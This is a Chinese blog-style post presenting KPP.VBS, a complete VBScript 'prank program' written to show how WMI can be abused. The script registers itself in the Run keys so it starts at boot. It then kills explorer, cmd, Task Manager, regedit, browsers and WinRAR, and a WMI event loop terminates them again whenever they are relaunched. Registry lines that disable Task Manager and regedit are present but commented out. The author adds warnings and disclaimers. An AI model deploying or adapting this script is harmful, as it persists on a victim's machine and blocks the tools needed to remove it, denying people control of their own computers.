一个整人程序 KPP.VBS

如果 WMI 不能被病毒利用，那么它就不值得 UMU 称之“天下无敌”（不是真的无敌，这只是 UMU 的口头禅，意思是很强），所以 UMU 特地从当年轰动鹰特内，惊动晕到死的“UMU 整人程序”之 KPP.VBS，取出一小段代码，演示 WMI 的整人天分。

　　注意：下面代码虽然已经去掉很多危害成分，但仍然不是一个初学编程者或者不会自主杀毒者可以应付的，杀除的方法看懂代码就可以想出来，如果看不懂请不要随便运行！UMU 不提供任何帮助，也不负任何责任，如果不幸运行后发现搞不定，请联系百度知道反病毒知识专家--崔衍渠。再次声明：这不是病毒，因为它没传播性，也没破坏性，不会造成磁盘上的任何用户数据丢失，也没破坏任何系统文件，所有整人的操作都是可逆的。


' UMU, KPP.VBS, 11:14 2007-4-19

Option Explicit

On Error Resume Next

Sub RegOperation()
         On Error Resume Next

         Dim objWSH
         Dim szRegKey, szBuf
         Dim i

         Set objWSH = CreateObject( "WScript.Shell" )

         '禁止任务管理器
         szRegKey = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"
         i = objWSH.RegRead( szRegKey )
         If Err.Number Then
                 Err.Clear
                 i = 0
         End If
         If i <> 1 Then
                 'objWSH.RegWrite szRegKey, 1, "REG_DWORD"
                 If Err.Number Then Err.Clear
         End If

         '禁止注册表编辑器
         szRegKey = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
         i = objWSH.RegRead( szRegKey )
         If Err.Number Then
                 Err.Clear
                 i = 0
         End If
         If i <> 1 Then
                 'objWSH.RegWrite szRegKey, 1, "REG_DWORD"
                 If Err.Number Then Err.Clear
         End If

         '自启动
         szRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer"
         szBuf = objWSH.RegRead( szRegKey )
         If Err.Number Then
                 Err.Clear
                 szBuf = ""
         End If

         If StrComp(szBuf, WScript.ScriptFullName, 1) Then
                 objWSH.RegWrite szRegKey, WScript.ScriptFullName
                 If Err.Number Then
                         Err.Clear
                         szRegKey = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer"
                         objWSH.RegWrite szRegKey, WScript.ScriptFullName
                 End If
         End If

         Set objWSH = Nothing
End Sub

Function IsProcessInBlacklist( szProcessName )
         If 0 = StrComp("cmd.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ElseIf 0 = StrComp("explorer.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ElseIf 0 = StrComp("iexplore.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ElseIf 0 = StrComp("mmc.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ElseIf 0 = StrComp("regedit.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ElseIf 0 = StrComp("taskmgr.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ElseIf 0 = StrComp("winrar.exe", szProcessName, 1) Then
                 IsProcessInBlacklist = True
         ' 请在这里增加黑名单成员
         'ElseIf 0 = StrComp("QQ.exe", szProcessName, 1) Then
         '         IsProcessInBlacklist = True
         Else
                 IsProcessInBlacklist = False
         End If
End Function

Sub KillAndPreventProcesses()
         On Error Resume Next

         Dim objWMI, ps, p

         Set objWMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

         '关闭进程
         Set ps = objWMI.ExecQuery( "Select * From Win32_Process" )
         For Each p in ps
                 If IsProcessInBlacklist(p.Name) Then
                         p.Terminate()
                 End If
         Next

         '阻止进程再运行
         Set ps = objWMI.ExecNotificationQuery( "select * from __instancecreationevent within 1 where TargetInstance isa 'Win32_Process'" )
         Do
                 Set p = ps.NextEvent
                 If IsProcessInBlacklist(p.TargetInstance.Name) Then
                         p.TargetInstance.Terminate()
                 End If
         Loop

         Set p = Nothing
         Set ps = Nothing
         Set objWMI = Nothing
End Sub

RegOperation()
KillAndPreventProcesses()

　　运行前，请接受下面协议：1、运行这个脚本程序是自愿的，后果与 UMU 没有任何关系！2、UMU 不保证它可以在您的系统上起作用，所以如果您想它运行成功，它却失败，那么 UMU 也不负责问答为什么失败